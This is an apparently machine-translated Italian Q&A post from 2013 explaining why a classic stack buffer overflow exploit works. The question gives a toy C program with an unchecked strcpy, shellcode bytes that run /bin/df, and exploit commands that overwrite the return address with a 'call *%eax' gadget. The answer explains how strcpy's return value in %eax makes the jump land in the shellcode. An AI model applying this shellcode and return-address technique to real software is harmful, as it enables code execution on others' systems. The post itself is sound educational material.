Spiegazione di una vulnerabilità di buffer overflow in C

4

Dato questo programma C:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buf[1024];
  strcpy(buf, argv[1]);
}

Costruito con:

gcc -m32 -z execstack prog.c -o prog

Dato codice shell:

EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')

Il programma è sfruttabile con i comandi:

./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')

dove ho preso gli indirizzi da:

$ objdump -d prog | grep call.*eax
 8048387:   ff d0                   call   *%eax
 804840f:   ff d0                   call   *%eax

Capisco il significato dei% pad_de% paddings nel mezzo, ho calcolato il 991 in base alla lunghezza di AAAA nel programma e alla lunghezza di buf .

Quello che non capisco è perché nessuno di questi indirizzi con $EGG attiva l'esecuzione dello shellcode copiato all'inizio di call *%eax . Per quanto ho capito, sto sovrascrivendo l'indirizzo di ritorno con buf (o l'altro), quello che non capisco è perché questo porta a saltare allo shellcode.

Ho ottenuto questo risultato leggendo Smashing the stack per divertimento e profitto . Ma l'articolo usa un approccio diverso per indovinare un indirizzo relativo per passare allo shellcode. Sono perplesso dal motivo per cui questa soluzione alternativa più semplice funziona, dritta senza intuizioni.

    
posta janos 28.09.2013 - 23:16
fonte

1 risposta

11

Su processori x86 a 32 bit, con il formato ELF in uso su sistemi Linux, la funzione chiamare gli stati della convenzione (pagina 3-12) che:

A function that returns an integral or pointer value places its result in register %eax.

Nel tuo programma, l'ultimo elemento di main() è una chiamata a strcpy() . Quella funzione restituisce una copia del suo primo argomento, qui un puntatore alla matrice buf[] . Quindi, quando viene raggiunta la fine di main() , %eax punta ancora sull'array buf[] , quindi è lì che salterà la call *%eax : nella matrice che contiene lo shellcode.

In caso di dubbi, consulta il codice assembly generato:

$ gcc -m32 -z execstack -fno-stack-protector prog.s
$ cat prog.s
    .file   "prog.c"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    pushl   %ebp
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    movl    %esp, %ebp
    .cfi_def_cfa_register 5
    andl    $-16, %esp
    subl    $1040, %esp
    movl    12(%ebp), %eax
    addl    $4, %eax
    movl    (%eax), %eax
    movl    %eax, 4(%esp)
    leal    16(%esp), %eax
    movl    %eax, (%esp)
    call    strcpy
    leave
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
    .section    .note.GNU-stack,"",@progbits

Vedi alla fine? Dopo call strcpy , c'è solo un leave , quindi un ret , nessuno dei quali modifica %eax . Quindi, quando viene raggiunto ret , %eax contiene ancora il valore impostato dalla funzione strcpy() , e questo è un puntatore alla matrice buf[] .

Se aggiungi return 0; dopo la chiamata a strcpy() , l'exploit non funziona più, perché return 0; imposterà %eax a 0 prima di tornare; e call *%eax salterà all'indirizzo 0, provocando un errore di segmentazione. Nel codice assembly generato da GCC, vedresti un extra movl $0, %eax prima di leave .

    
risposta data 29.09.2013 - 00:36
fonte

Leggi altre domande sui tag